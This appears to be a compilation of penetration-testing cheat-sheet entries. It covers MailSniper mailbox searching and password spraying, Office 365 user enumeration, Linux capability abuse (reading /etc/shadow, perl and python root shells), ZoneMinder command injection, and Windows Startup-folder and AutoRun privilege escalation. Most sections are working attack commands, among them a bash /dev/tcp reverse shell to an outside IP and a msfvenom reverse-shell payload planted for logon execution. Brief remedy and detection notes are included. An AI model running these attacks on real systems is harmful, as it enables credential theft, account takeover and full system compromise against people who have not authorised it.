    • Invoke-GlobalMailSearch is a module that will connect to a Microsoft Exchange server and grant the “ApplicationImpersonation” role to a specified user. Having the “ApplicationImpersonation” role allows that user to search through all other domain user’s mailboxes.
    • After this role has been granted, the Invoke-GlobalMailSearch function creates a list of all mailboxes in the Exchange database. It then connects to Exchange Web Services (EWS) using the impersonation role to gather a number of emails from each mailbox and ultimately searches through them for specific terms. By default, the script searches for “*password*”,”*creds*”,”*credentials*”

    Invoke-GlobalMailSearch Options

    • ImpersonationAccount – This user will be granted the ApplicationImpersonation role on the Exchange server.
    • ExchHostname – The hostname of the Exchange server to connect to (If $AutoDiscoverEmail is specified the server will be autodiscovered).
    • AutoDiscoverEmail – A valid email address that will be used to autodiscover where the Exchange server is located.
    • MailsPerUser – The total number of emails returned from each mailbox.
    • Terms – Specific search terms used to search through each email subject and body. By default, the script searches for “*password*”,”*creds*”,”*credentials*”.
    • OutputCsv – Outputs the results of the search to a CSV file.
    • ExchangeVersion – Specify the version of Exchange server to connect to. By default the script tries Exchange2010.
    • AdminUserName – The username of an Exchange administator (i.e. member of the “Exchange Organization Administrators” or “Organization Management” group) including the domain (i.e. domain\adminusername).
    • AdminPassword – The password to the Exchange administator (i.e. member of the “Exchange Organization Administrators” or “Organization Management” group) account specified with AdminUserName.
    • EmailList – A text file listing email addresses to search (one per line).
    • Folder – A specific folder within each mailbox to search. By default, the script only searches the “Inbox” folder. By specifying ‘all’, all folders and subfolders will be searched.
    • Regex – Use a regular expressions when performing searches. This will override the -Terms flag.
    • CheckAttachments – Attempts to search through the contents of email attachements in addition to the default body and subject. These attachments can be downloaded by specifying the -DownloadDir option. Searches for the following extensions: .bat, .htm, .msg, .pdf, .txt, .ps1, .doc and .xls.
    • DownloadDir – Download files to a specific location.

    Invoke-SelfSearch Options

    • ExchHostname – The hostname of the Exchange server to connect to (If $Mailbox is specified the server will be autodiscovered).
    • Mailbox – Email address of the current user the PowerShell process is running as.
    • MailsPerUser – Number of emails to return.
    • Terms – Specific search terms used to search through each email subject and body. By default, the script searches for “*password*”,”*creds*”,”*credentials*”.
    • OutputCsv – Outputs the results of the search to a CSV file.
    • ExchangeVersion – Specify the version of Exchange server to connect to (default Exchange2010).
    • Remote – A new credential box will pop up for accessing a remote EWS service from the internet.
    • Folder – A specific folder within each mailbox to search. By default, the script only searches the “Inbox” folder. By specifying ‘all’, all folders and subfolders will be searched.
    • Regex – Use a regular expressions when performing searches. This will override the -Terms flag.
    • CheckAttachments – Attempts to search through the contents of email attachements in addition to the default body and subject. These attachments can be downloaded by specifying the -DownloadDir option. Searches for the following extensions: .bat, .htm, .msg, .pdf, .txt, .ps1, .doc and .xls.
    • DownloadDir – Download files to a specific location.
    • OtherUserMailbox – Use this flag when attempting to read emails from a different user’s mailbox
    • UsePrt – Uses the current user’s PRT to authenticate.
    • AccessToken – Use provided oauth access token to authenticate.

    Invoke-GlobalO365MailSearch Options

    • UsePrtImperonsationAccount – Uses the current user’s PRT to authenticate ImperonsationAccount.
    • AccessTokenImpersonationAccount – Use provided oauth access token to authenticate ImperonsationAccount.
    • UsePrtAdminAccount – Uses the current user’s PRT to authenticate AdminAccount.
    • AccessTokenAdminAccount – Use provided oauth access token to authenticate ImperonsationAccount.

    Additional MailSniper Modules

    Get-GlobalAddressList

    it will attempt to connect to an Outlook Web Access (OWA) portal and utilize the “FindPeople” method (only available in Exchange2013 and up) of gathering email addresses from the GAL. If this does not succeed the script will attempt to connect to EWS and attempt to gather the GAL.

    • Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Spring2021 -OutFile gal.txt

    Get-MailboxFolders

    it will connect to a Microsoft Exchange server using EWS and gather a list of folders from the current user’s mailbox.

    • Get-MailboxFolders -Mailbox current-user@domain.com

    Invoke-PasswordSprayOWA

    It will attempt to connect to an OWA portal and perform a password spraying attack using a userlist and a single password.

    • Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt

    Invoke-PasswordSprayEWS

    It will attempt to connect to an EWS portal and perform a password spraying attack using a userlist and a single password.

    • Invoke-PasswordSprayEWS -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile sprayed-ews-creds.txt

    Invoke-PasswordSprayGmail

    This module will first attempt to connect to a Gmail Authentication portal and perform a password spraying attack using a userlist and a single password.

    • Invoke-PasswordSprayGmail -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile gmail-sprayed-creds.txt

    Invoke-DomainHarvestOWA

    It will attempt to connect to an OWA portal and determine a valid domain name for logging into the portal from the WWW-Authenticate header returned in a web response from the server or based off of small timing differences in login attempts.

    • Invoke-DomainHarvestOWA -ExchHostname mail.domain.com

    Invoke-UsernameHarvestOWA

    It will attempt to connect to an OWA portal and harvest valid usernames based off of small timing differences in login attempts.

    • Invoke-UsernameHarvestOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Threads 1 -OutFile owa-valid-users.txt

    Invoke-UsernameHarvestGmail

    This is a module that will attempt to enumerate Google Apps user accounts and potentially identify user accounts that opt-out of implemented 2FA solutions.

    • Invoke-UsernameHarvestGmail -Account
    • Invoke-UsernameHarvestGmail -UserFile .\emails.txt
    • Invoke-UsernameHarvestGmail -UserFile .\emails.txt -ProxyHosts 10.0.0.5:8080,10.0.0.6:8080,10.0.0.10:443
    • Invoke-UsernameHarvestGmail -UserFile .\emails.txt -Detailed
    • Get-Content emails.txt | % { Invoke-UsernameHarvestGmail $_ }

    Invoke-OpenInboxFinder

    It will attempt to determine if the current user has access to the Inbox of each email address in a list of addresses.

    • Invoke-OpenInboxFinder -EmailList email-list.txt

    Get-ADUsernameFromEWS

    It will attempt to determine the Active Directory username for a single email address or a list of addresses. Use the Get-GlobalAddressList module to harvest a full list of email addresses to use with Get-ADUsernameFromEWS.

    • Get-ADUsernameFromEWS -EmailList email-list.txt

    Send-EWSEmail

    It will attempt to connect to EWS and send an email.

    • Send-EWSEmail –ExchHostname substrate.office.com -Recipient $targetEmail -Subject “Foo” -EmailBody “Bar” -AccessToken $Accesstoken

    References

    https://github.com/dafthack/MailSniper

    [Unauthenticated][Information Gathering] Enumerate Azure Office users

    Description

    This is a simple Python script used to validate email accounts that belong to Office 365 tenants. This script takes either a single email address or a list of email addresses as input, sends a request to Office 365 without a password, and looksfor the the “IfExistsResult” parameter to be set to 0 for a valid account. Invalid accounts will return a 1.

    Requirements

    • List of users
    • Domain

    How to Use

    1. Download the tool into your computer

    • git clone https://github.com/LMGsec/o365creeper.git

    2. Display the help menu

    • python2.7 o365creeper.py -h

    -e EMAIL, –email EMAIL

    • Single email address to validate.

    -f FILE, –file FILE

    • List of email addresses to validate, one per line.

    -o OUTPUT, –output OUTPUT

    • Output valid email addresses to the specified file.

    Exploitation

    1. testing a sing user

    • python2.7 o365creeper.py -e ceo@adpentesteracademy.onmicrosoft.com

    VALID

    INVALID

    2. Enumerate using a file containing different emails

    • python2.7 o365creeper.py -f emails.txt

    References

    https://github.com/LMGsec/o365creeper

    [Privilege Escalation] Linux Capabilities Tar

    Description

    In Linux, “capabilities” refer to the fine-grained access control mechanism that grants processes or programs specific privileges beyond those of a regular user. Traditionally, in Unix-like systems, privileges were managed through the setuid mechanism, where a program would temporarily assume the privileges of its owner when executed.

    Capabilities were introduced to provide a more granular approach to privilege management, allowing processes to have only the specific privileges they need to perform their tasks, rather than having to grant them full superuser (root) privileges via setuid.

    Before capabilities, we only had the binary system of privileged and non-privileged processes and for the purpose of performing permission checks, traditional UNIX implementations distinguish two categories of processes: privileged processes that referred as superuser or root and unprivileged processes (whose effective UID is nonzero).

    Capabilities are those permissions that divide the privileges of kernel user or kernel level programs into small pieces so that a process can be allowed sufficient power to perform specific privileged tasks.

    Some common capabilities include

    https://1.bp.blogspot.com/-b2lP_MwsxDs/XeIpVZoQULI/AAAAAAAAht8/8k2iTTw5eZwb8QQnaU8NF23ODrv1dwUsACLcBGAsYHQ/s1600/4.png

    These capabilities can be granted to executable files via file system attributes or via user/group privileges. Capabilities can be managed using commands like getcap and setcap in Linux.

    Uses of capabilities

    Limited user’s permission: Giving away too many privileges by default will result in unauthorized changes of data, backdoors and circumventing access controls, just to name a few. So to overcome this situation we can simply use the capability to limited user’s permission.

    Using a fine-grained set of privileges: Suppose a web server normally runs at port 80 and we also know that we need root permissions to start listening on one of the lower ports (<1024). This web server daemon needs to be able to listen to port 80. Instead of giving this daemon all root permissions, we can set a capability on the related binary, like CAP_NET_BIND_SERVICE. With this specific capability, it can open up port 80 in a much easier way.

    Working with capability

    The operation of capabilities can be achieved in many ways. Some of them are listed below:

    Assigning and removing capability: They are usually set on executable files and are automatically granted to the process when a file with a capability is executed. The file capability sets are stored in an extended attribute named as security.capability. This can be done by the use of attribute CAP_SETCAP capability.

    To enable the capability for any file frame command as shown below:

    • setcap cap_setuid+ep /home/demo/python3

    Similarly, one can also remove file capability by as below mentioned command.

    • getcap -r / 2>/dev/null

    Affected products

    Misconfigured Linux Operating Systems

    Identification

    In order to identify capabilities, we can run

    • getcap -r / 2> /dev/null

    https://i.imgur.com/Q6XYr0p.png

    LinPEAS

    LinPEAS script can also help us identify suspicious capabilities

    • ./LinPEAS.sh

    Exploitation

    Tar Capability

    We have another example “tar” which is same as above where the admin supposed to used capabilities to extract high privilege file that are restricted for other users, that should be extracted by specific user let’s say by user “demo”.

    Let’s take an example: The admin wants to assign a role, where the user “demo” can take the backup of files as root, for this task the admin has set read capability on tar program. This can be accomplished with following commands on the host machine.

    • which tar
    • cp /bin/tar /home/demo/
    • setcap cap_dac_read_search+ep /home/demo/tar

    https://1.bp.blogspot.com/-WRI1ndyugDw/XeIpWpWhMLI/AAAAAAAAhuQ/9MDAJYhZ6NgHIUb__kWJ1QnYHdlUqPjCgCLcBGAsYHQ/s1600/9.1.png

    Exploiting capability using tar

    Repeat same procedure to escalate the privilege, take the access of host machine as a local user and move ahead for privilege escalation. Since this time admin has use CAP_DAC_READ_SEARCH that will help us to bypass file read permission checks and directory read and execute permission checks.

    • getcap -r / 2>/dev/null
    • pwd
    • ls -al tar

    In this, we try to read shadow file where all system’s user password hashes are stored for this you have to follow below steps.

    Compress the /etc/shadow in the current directory with the help of the tar program.

    You will get shadow.tar in your current directory.

    Extract the shadow.tar and you will get a directory as “etc/shadow”.

    Use cat/head/tail or program to read the hashes of passwords.

    • ./tar cvf shadow.tar /etc/shadow
    • ls
    • ./tar -xvf shadow.tar

    https://1.bp.blogspot.com/-b3644p0Bs_w/XeIpXefPKcI/AAAAAAAAhuU/BmIyU1zimQ4tqVwsbMEzgVn3HLetXA9zQCLcBGAsYHQ/s1600/9.png

    As a result, you will have “etc/shadow” file your current directory and you can read the hashes of the password as shown here.

    • tail -8 etc/shadow

    A malicious user can break this password using a tool such as a john the ripper or hash killer etc.

    Remedy

    Use least privilege principles, and, confirm that no capabilities privileges are assigned to exploitable binaries.

    Detection

    Audit Logs (auditd):

    audit.log: Contains detailed records of system calls and actions performed by users and processes. Look for entries related to capability-related system calls, such as capset, setuid, setgid, etc.

    System Logs (syslog):

    syslog, messages: These logs contain general system activity, including errors, warnings, and informational messages. Look for any unusual or suspicious activity related to capability changes or privilege escalation attempts.

    Kernel Logs:

    kern.log or dmesg: Contains kernel-level messages, including errors and warnings. Monitor for any kernel-level events related to capabilities, such as loading or unloading of kernel modules (CAP_SYS_MODULE), changes to system time (CAP_SYS_TIME), etc.

    File System Logs:

    audit.log, syslog, or distribution-specific logs: Monitor file system events, such as changes to file permissions or ownership, which may indicate tampering with files related to capabilities management (CAP_CHOWN, CAP_DAC_OVERRIDE, etc.).

    Process Execution Logs:

    audit.log, syslog, or process-specific logs: Track process execution events and command-line arguments to identify suspicious processes attempting to escalate privileges or perform actions beyond their normal scope (CAP_SYS_PTRACE, CAP_SYS_ADMIN, etc.).

    Network Logs:

    Firewall logs, packet capture logs, or network device logs: Look for network activity originating from processes with elevated capabilities (CAP_NET_RAW, CAP_NET_ADMIN, etc.), which may indicate attempts to exploit network-related capabilities.

    References

    https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/

    https://mn3m.info/posts/suid-vs-capabilities/

    Capability on GRSecurity wiki

    http://man7.org/linux/man-pages/man2/getxattr.2.html

    http://unixetc.co.uk/2016/05/30/linux-capabilities-and-ping/

    Linux kernel docs

    Source code linux/capability.h

    nmap using Capabilies

    https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099

    https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities

    https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux

    https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.

    https://linux-audit.com/linux-capabilities-101/

    https://www.linuxjournal.com/article/5737

    https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_module

    https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot

    [Privilege Escalation] Linux Capabilities Perl

    Description

    In Linux, “capabilities” refer to the fine-grained access control mechanism that grants processes or programs specific privileges beyond those of a regular user. Traditionally, in Unix-like systems, privileges were managed through the setuid mechanism, where a program would temporarily assume the privileges of its owner when executed.

    Capabilities were introduced to provide a more granular approach to privilege management, allowing processes to have only the specific privileges they need to perform their tasks, rather than having to grant them full superuser (root) privileges via setuid.

    Before capabilities, we only had the binary system of privileged and non-privileged processes and for the purpose of performing permission checks, traditional UNIX implementations distinguish two categories of processes: privileged processes that referred as superuser or root and unprivileged processes (whose effective UID is nonzero).

    Capabilities are those permissions that divide the privileges of kernel user or kernel level programs into small pieces so that a process can be allowed sufficient power to perform specific privileged tasks.

    Some common capabilities include

    https://1.bp.blogspot.com/-b2lP_MwsxDs/XeIpVZoQULI/AAAAAAAAht8/8k2iTTw5eZwb8QQnaU8NF23ODrv1dwUsACLcBGAsYHQ/s1600/4.png

    These capabilities can be granted to executable files via file system attributes or via user/group privileges. Capabilities can be managed using commands like getcap and setcap in Linux.

    Uses of capabilities

    Limited user’s permission: Giving away too many privileges by default will result in unauthorized changes of data, backdoors and circumventing access controls, just to name a few. So to overcome this situation we can simply use the capability to limited user’s permission.

    Using a fine-grained set of privileges: Suppose a web server normally runs at port 80 and we also know that we need root permissions to start listening on one of the lower ports (<1024). This web server daemon needs to be able to listen to port 80. Instead of giving this daemon all root permissions, we can set a capability on the related binary, like CAP_NET_BIND_SERVICE. With this specific capability, it can open up port 80 in a much easier way.

    Working with capability

    The operation of capabilities can be achieved in many ways. Some of them are listed below:

    Assigning and removing capability: They are usually set on executable files and are automatically granted to the process when a file with a capability is executed. The file capability sets are stored in an extended attribute named as security.capability. This can be done by the use of attribute CAP_SETCAP capability.

    To enable the capability for any file frame command as shown below:

    • setcap cap_setuid+ep /home/demo/python3

    Similarly, one can also remove file capability by as below mentioned command.

    • getcap -r / 2>/dev/null

    Affected products

    Misconfigured Linux Operating Systems

    Identification

    In order to identify capabilities, we can run

    • getcap -r / 2> /dev/null

    https://i.imgur.com/Q6XYr0p.png

    LinPEAS

    LinPEAS script can also help us identify suspicious capabilities

    • ./LinPEAS.sh

    Exploitation

    Perl Capability

    We have another example “perl” which is same as above where the admin supposed to used capabilities, for the perl program that should be executed by specific user let’s say for user “demo”. This can be accomplished with following commands on the host machine.

    • which perl
    • cp /usr/bin/perl /home/demo/
    • setcap cap_setuid+ep /home/demo/perl

    As a result, the user demo received the privilege to run the python3 program as root because here admin has upraised the privilege by using cap_setuid+ep which means all privilege is assigned to the user for that program.

    https://1.bp.blogspot.com/-PiPUhnAFgOQ/XeIpWVyQL1I/AAAAAAAAhuI/Eysz7iYu4wU1f09qvyHPK1Los7UQ3ifNgCLcBGAsYHQ/s1600/7.png

    Exploiting capability using perl

    Repeat above step for exploit perl program to escalate the root privilege:

    • getcap -r / 2>/dev/null
    • pwd
    • ls -al perl
    • ./perl -e ‘use POSIX (setuid); POSIX::setuid(0); exec “/bin/bash”;’
    • id

    https://1.bp.blogspot.com/-e7Jo3nTW2Ts/XeIpWdCv7wI/AAAAAAAAhuM/PH_uLypq918rSbm47oYAbFXtVleS0B1hwCLcBGAsYHQ/s1600/8.png

    Remedy

    Use least privilege principles, and, confirm that no capabilities privileges are assigned to exploitable binaries.

    Detection

    Audit Logs (auditd):

    audit.log: Contains detailed records of system calls and actions performed by users and processes. Look for entries related to capability-related system calls, such as capset, setuid, setgid, etc.

    System Logs (syslog):

    syslog, messages: These logs contain general system activity, including errors, warnings, and informational messages. Look for any unusual or suspicious activity related to capability changes or privilege escalation attempts.

    Kernel Logs:

    kern.log or dmesg: Contains kernel-level messages, including errors and warnings. Monitor for any kernel-level events related to capabilities, such as loading or unloading of kernel modules (CAP_SYS_MODULE), changes to system time (CAP_SYS_TIME), etc.

    File System Logs:

    audit.log, syslog, or distribution-specific logs: Monitor file system events, such as changes to file permissions or ownership, which may indicate tampering with files related to capabilities management (CAP_CHOWN, CAP_DAC_OVERRIDE, etc.).

    Process Execution Logs:

    audit.log, syslog, or process-specific logs: Track process execution events and command-line arguments to identify suspicious processes attempting to escalate privileges or perform actions beyond their normal scope (CAP_SYS_PTRACE, CAP_SYS_ADMIN, etc.).

    Network Logs:

    Firewall logs, packet capture logs, or network device logs: Look for network activity originating from processes with elevated capabilities (CAP_NET_RAW, CAP_NET_ADMIN, etc.), which may indicate attempts to exploit network-related capabilities.

    References

    https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/

    https://mn3m.info/posts/suid-vs-capabilities/

    Capability on GRSecurity wiki

    http://man7.org/linux/man-pages/man2/getxattr.2.html

    http://unixetc.co.uk/2016/05/30/linux-capabilities-and-ping/

    Linux kernel docs

    Source code linux/capability.h

    nmap using Capabilies

    https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099

    https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities

    https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux

    https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.

    https://linux-audit.com/linux-capabilities-101/

    https://www.linuxjournal.com/article/5737

    https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_module

    https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot

    [Privilege Escalation] Linux Capabilities Python

    Description

    In Linux, “capabilities” refer to the fine-grained access control mechanism that grants processes or programs specific privileges beyond those of a regular user. Traditionally, in Unix-like systems, privileges were managed through the setuid mechanism, where a program would temporarily assume the privileges of its owner when executed.

    Capabilities were introduced to provide a more granular approach to privilege management, allowing processes to have only the specific privileges they need to perform their tasks, rather than having to grant them full superuser (root) privileges via setuid.

    Before capabilities, we only had the binary system of privileged and non-privileged processes and for the purpose of performing permission checks, traditional UNIX implementations distinguish two categories of processes: privileged processes that referred as superuser or root and unprivileged processes (whose effective UID is nonzero).

    Capabilities are those permissions that divide the privileges of kernel user or kernel level programs into small pieces so that a process can be allowed sufficient power to perform specific privileged tasks.

    Some common capabilities include

    https://1.bp.blogspot.com/-b2lP_MwsxDs/XeIpVZoQULI/AAAAAAAAht8/8k2iTTw5eZwb8QQnaU8NF23ODrv1dwUsACLcBGAsYHQ/s1600/4.png

    These capabilities can be granted to executable files via file system attributes or via user/group privileges. Capabilities can be managed using commands like getcap and setcap in Linux.

    Uses of capabilities

    Limited user’s permission: Giving away too many privileges by default will result in unauthorized changes of data, backdoors and circumventing access controls, just to name a few. So to overcome this situation we can simply use the capability to limited user’s permission.

    Using a fine-grained set of privileges: Suppose a web server normally runs at port 80 and we also know that we need root permissions to start listening on one of the lower ports (<1024). This web server daemon needs to be able to listen to port 80. Instead of giving this daemon all root permissions, we can set a capability on the related binary, like CAP_NET_BIND_SERVICE. With this specific capability, it can open up port 80 in a much easier way.

    Working with capability

    The operation of capabilities can be achieved in many ways. Some of them are listed below:

    Assigning and removing capability: They are usually set on executable files and are automatically granted to the process when a file with a capability is executed. The file capability sets are stored in an extended attribute named as security.capability. This can be done by the use of attribute CAP_SETCAP capability.

    To enable the capability for any file frame command as shown below:

    • setcap cap_setuid+ep /home/demo/python3

    Similarly, one can also remove file capability by as below mentioned command.

    • getcap -r / 2>/dev/null

    Affected products

    Misconfigured Linux Operating Systems

    Identification

    In order to identify capabilities, we can run

    • getcap -r / 2> /dev/null

    https://i.imgur.com/Q6XYr0p.png

    LinPEAS

    LinPEAS script can also help us identify suspicious capabilities

    • ./LinPEAS.sh

    Exploitation

    Python Capability

    Suppose the system administrator wants to grant superuser permission for any binary program, let’s say for python3, which should only be available to a specific user, and admin doesn’t want to give SUID or sudo permission. The admin supposed to used capabilities, for the python3 program that should be executed by specific user let’s say for user “demo”. This can be accomplished with following commands on the host machine.

    • which python3
    • cp /usr/bin/python3 /home/demo/
    • setcap cap_setuid+ep /home/demo/python3

    As a result, the user demo received the privilege to run the python3 program as root because here admin has upraised the privilege by using cap_setuid+ep which means all privilege is assigned to the user for that program. But if you will try to find 4000 permission files or programs then it might not be shown for /home/dome/python3.

    Note: the user home directory should be not accessible for other users because if it is accessed to other non-root users then other users will also proficient to take the privilege of capabilities set for user demo.

    https://1.bp.blogspot.com/-_NY5PVXGp98/XeIpVhInt1I/AAAAAAAAhuA/zv3csezeN-YLPTlqcoU_9jI98LKPTjaAQCLcBGAsYHQ/s1600/5.png

    Exploiting capability using python3

    Assuming an intruder has compromised the host machine as local user and spawn the least privilege shell and he looked for system capabilities and found empty capability (ep) over suid is given python3 for user demo that means all privilege is assigned to user for that program, therefore taking advantage of this permission he can escalate into high privilege from low privilege shell.

    • getcap -r / 2>/dev/null
    • pwd
    • ls -al python3
    • ./python3 -c ‘import os; os.setuid(0); os.system(“/bin/bash”)’
    • Id

    Hence you can observe the local user demo has accessed the root shell as shown in the given image.

    https://1.bp.blogspot.com/-KJSuOanH3hs/XeIpWCf4PEI/AAAAAAAAhuE/CF8cYc7dVModbfoIf713i_j6OrMYF9KcACLcBGAsYHQ/s1600/6.png

    Remedy

    Use least privilege principles, and, confirm that no capabilities privileges are assigned to exploitable binaries.

    Detection

    Audit Logs (auditd):

    audit.log: Contains detailed records of system calls and actions performed by users and processes. Look for entries related to capability-related system calls, such as capset, setuid, setgid, etc.

    System Logs (syslog):

    syslog, messages: These logs contain general system activity, including errors, warnings, and informational messages. Look for any unusual or suspicious activity related to capability changes or privilege escalation attempts.

    Kernel Logs:

    kern.log or dmesg: Contains kernel-level messages, including errors and warnings. Monitor for any kernel-level events related to capabilities, such as loading or unloading of kernel modules (CAP_SYS_MODULE), changes to system time (CAP_SYS_TIME), etc.

    File System Logs:

    audit.log, syslog, or distribution-specific logs: Monitor file system events, such as changes to file permissions or ownership, which may indicate tampering with files related to capabilities management (CAP_CHOWN, CAP_DAC_OVERRIDE, etc.).

    Process Execution Logs:

    audit.log, syslog, or process-specific logs: Track process execution events and command-line arguments to identify suspicious processes attempting to escalate privileges or perform actions beyond their normal scope (CAP_SYS_PTRACE, CAP_SYS_ADMIN, etc.).

    Network Logs:

    Firewall logs, packet capture logs, or network device logs: Look for network activity originating from processes with elevated capabilities (CAP_NET_RAW, CAP_NET_ADMIN, etc.), which may indicate attempts to exploit network-related capabilities.

    References

    https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/

    https://mn3m.info/posts/suid-vs-capabilities/

    Capability on GRSecurity wiki

    http://man7.org/linux/man-pages/man2/getxattr.2.html

    http://unixetc.co.uk/2016/05/30/linux-capabilities-and-ping/

    Linux kernel docs

    Source code linux/capability.h

    nmap using Capabilies

    https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099

    https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities

    https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux

    https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.

    https://linux-audit.com/linux-capabilities-101/

    https://www.linuxjournal.com/article/5737

    https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_module

    https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot

    [Privilege Escalation] ZoneMinder Scripts Command Injection (local)

    Having the chance to execute ZoneMinder scripts as root we can inject commands. Tested on version 1.36.32+dfsg1-1

    Identification

    1. Check for privileges or permissions

    • sudo -l

    2. Use find to locate the scripts

    • find / -iname zm*.pl 2> /dev/null

    Exploitation (zmupdate.pl)

    1. In /usr/bin there are scripts that are part of ZoneMinder

    • ls -l /usr/bin/zm*

    2. We can try to run zmupdate.pl

    • sudo zmupdate.pl –user=’$(touch /tmp/test)’

    3. Check the file was created, with root permissions

    • ls -l /tmp

    4. Now attempt to open a new shell

    • sudo /usr/bin/zmupdate.pl –version 1 –user=’$(/bin/bash)’

    Extra

    1. You may not get a fully functional shell, we know we are root, so we can attempt a reverse shell, start a listener

    • nc -lvp 4444

    2. Run the reverse shell from the target computer

    • bash -i >& /dev/tcp/10.10.14.77/4444 0>&1

    3. Check the listener

    Recommendations

    Have your tools up to date, and, limit the use of these scripts to only the intended users.

    [Privilege Escalation] StartUp Applications

    Startup applications privilege escalation refers to the phenomenon where certain software or applications gain elevated privileges upon system boot, allowing them to execute commands or access resources that would typically be restricted to regular users or applications. This can pose a significant security risk, as it provides an avenue for malicious actors to exploit vulnerabilities in these applications to gain unauthorized access to sensitive data or perform malicious actions on the system.

    When a user logs on to the system, there are two folders where programs automatically start (execute) from called the Startup folders. The Startup folders can be found in the following locations:

    • C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

    The first folder is tied to the specific user logging on and only executes for that user. The second folder however is the machine startup folder, which means that any startup applications in that folder (executables or batch scripts) will execute when ANY user logs on to the system.

    Identification

    1. Check the permissions on the StartUp folders, notice that the “BUILTIN\Users” group has full access ‘(F)’ to the directory.

    • icacls “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”

    Note: we are looking for on the folder are any one of the following three permissions:

    • (F) Full Control
    • (M) Modify
    • (W) Write

    The user / group permissions we are looking for are the following:

    • The user we are currently logged in as (%USERNAME%)
    • Authenticated Users
    • Everyone
    • BUILTIN\Users
    • NT AUTHORITY\INTERACTIVE

    2. Identify it using Sysinternals AccessChk (https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk)

    • .\accesschk64.exe -wvud “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp” -accepteula

    WinPEAS (https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)

    1. This can also be identified using WinPEAS script

    • .\winPEASx64.exe applicationsinfo

    https://juggernaut-sec.com/wp-content/uploads/2022/06/image-35.png

    Exploitation

    1. we can utilize either an EXE or a batch script to exploit this misconfiguration, we will craft a malicious BATCH file to execute it as any user that logs on. First, we will create our payload

    • msfvenom -p windows/shell_reverse_tcp LHOST=10.9.239.141 LPORT=5555 -f exe > exploit.exe

    2. Start a listener in your local machine

    • nc -lvp 5555

    3. Transfer the file into the target machine

    4. Place exploit.exe in “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”.

    • move .\exploit.exe “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”
    • cd “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”
    • dir

    5. (OPTIONAL) Assign privileges to execute to Everyone

    • Right click on exploit.exe -> Properties -> Security -> Group or user names -> Edit
    • Add -> Everyone

    5. Wait for someone to log in, check out your listener

    Recommendations

    • Least Privilege Principle: Follow the principle of least privilege when configuring startup applications. Only grant necessary permissions and privileges to each application, limiting the potential impact of any security breaches.
    • Application Whitelisting: Implement application whitelisting policies to restrict the execution of unauthorized or untrusted applications during the startup process. This helps prevent malicious software from gaining elevated privileges on the system.

    Reference

    https://steflan-security.com/windows-privilege-escalation-startup-applications/

    https://juggernaut-sec.com/startup-applications/

    https://www.hackingarticles.in/windows-privilege-escalation-boot-logon-autostart-execution-startup-folder/

    https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries

    https://medium.com/@Varma_Chekuri/windows-privilege-escalation-2-f0dfb1021213

    https://www.stationx.net/windows-privilege-escalation/

    https://attack.mitre.org/techniques/T1547/001/

    [Privilege Escalation] Registry Windows AutoRun

    Windows allows users to set specific programs to automatically start whenever the system boots, the list of programs that have this functionality enabled is stored in the Windows Registry. Although this feature can be very handy if startup programs are setup with improper permissions it may allow attackers to escalate privileges, as these programs are executed in the context of the user who is logging in at that point in time.

    Commonly known AutoRun registry:

    • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
    • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
    • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
    • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
    • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
    • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
    • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
    • HKCU\Software\Wow6432Npde\Microsoft\Windows\CurrentVersion\RunOnce
    • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run
